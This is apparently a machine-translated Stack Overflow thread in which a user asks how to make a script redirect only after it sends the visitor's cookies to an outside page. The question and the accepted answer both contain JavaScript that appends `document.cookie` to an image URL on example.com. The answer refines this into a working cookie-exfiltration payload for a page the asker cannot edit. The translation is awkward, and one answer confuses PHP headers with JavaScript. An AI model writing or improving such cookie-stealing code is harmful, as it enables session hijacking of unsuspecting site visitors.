2017-01-16 8 views
1

Ich versuche sicherzustellen, dass mein Skript zu home.example.com erst umleitet, nachdem eine Anfrage an page.php mit den Cookies des Benutzers gemacht wurde. Ich bin mir bewusst, dass mein Code kaputt ist (ich nehme an, dass die erste Anfrage immer weniger als 20 Sekunden dauert). Gibt es eine Möglichkeit, sicherzustellen, dass das Skript nur weitergeleitet wird, nachdem die Anfrage an page.php abgeschlossen wurde?Umleitung nach document.write ist abgeschlossen

document.write('<img src="https://example.com/page.php?data=' + document.cookie + '" />'); 

window.setTimeout(function() { 
location.href = "http://home.example.com" 
}, 20000); 

Jede Hilfe wird geschätzt, Entschuldigung für die nooby Frage.

+0

Verwenden Sie das 'load' Ereignis auf dem Bild. – SLaks

+0

@SLaks - das wäre das 'onload' * Attribut * in diesem Fall: p –

+0

Verwenden Sie auch nicht' document.write() '. – SLaks

Antwort

1

document.write('<img id="img" />'); 
 

 
var imgNode = document.querySelector("#img"); 
 
    
 
imgNode.addEventListener("load", function() { 
 
    location.href = "http://home.example.com"; 
 
}); 
 
    
 
imgNode.src = "https://example.com/page.php?data=" + document.cookie;

+0

Hallo, ich kann keine Änderungen an der HTML-Seite vornehmen, auf der dieses Skript ausgeführt wird. Ich kann nur die js-Datei selbst steuern. Ich habe den folgenden Fehler beim Ausführen dieses Skripts auf der Seite ** Uncaught TypeError: Kann Eigenschaft 'addEventListener' von null nicht lesen ** – aaronullger

+0

Ich habe meinen Code bearbeitet, können Sie es erneut versuchen –

+0

Die Umleitung schlägt fehl, wegen des folgenden Fehlers auftreten ** Schreiben auf 'Dokument' konnte nicht ausgeführt werden: Es ist nicht möglich, aus einem asynchron geladenen externen Skript in ein Dokument zu schreiben, es sei denn, es wird explizit geöffnet. **, Vielen Dank für Ihre Hilfe! Ich finde es mit dir zusammen, wenn nichts geht, werde ich mit dem 20-Sekunden-Warte-Ansatz gehen. – aaronullger

0

Sie Header verwenden sollten "("Refresh: 20; url = wherever.php");" Bevor document.write Gebrauch ist. Sie können beziehen: - "stackoverflow.com/questions/6119451/page-redirect-after-certain-time-php"

Verwandte Themen